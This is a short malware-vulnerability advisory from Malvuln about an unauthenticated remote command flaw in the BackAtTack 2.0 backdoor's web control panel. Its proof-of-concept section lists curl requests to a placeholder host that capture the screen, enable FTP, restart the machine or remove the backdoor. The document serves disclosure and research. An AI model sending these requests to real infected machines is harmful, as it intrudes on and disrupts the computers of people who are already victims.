Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/8b484576f928c256277016104cc364c2.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.BackAttack.20 Vulnerability: Unauthenticated Remote Command Execution Description: BackAtTack 2.0 By CurrenTChaoSGroup(CCG) by default listens on TCP ports 80 and 11131. The malware features a remote web interface where you can control an infected host. Third party-attackers who can reach the system can run commands made available by the malware E.g. take screenshot, restart the system, enable FTP or even destroy the backdoor etc. The web UI does not require authentication to execute these commands. Type: PE32 MD5: 8b484576f928c256277016104cc364c2 Vuln ID: MVID-2021-0423 Disclosure: 12/11/2021 Exploit/PoC: Show Skeleton http://x.x.x.x/showskeleton Show Sex http://x.x.x.x/showsex Whos logged on curl http://x.x.x.x/whoisthere Screen capture curl http://x.x.x.x/capturescreen Enable FTP curl http://x.x.x.x/ftpon Restart host curl http://x.x.x.x/restart Destroy the backdoor curl http://x.x.x.x/destroyyes -v Destroy action has been executed! -Restart procedure initiated also- Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).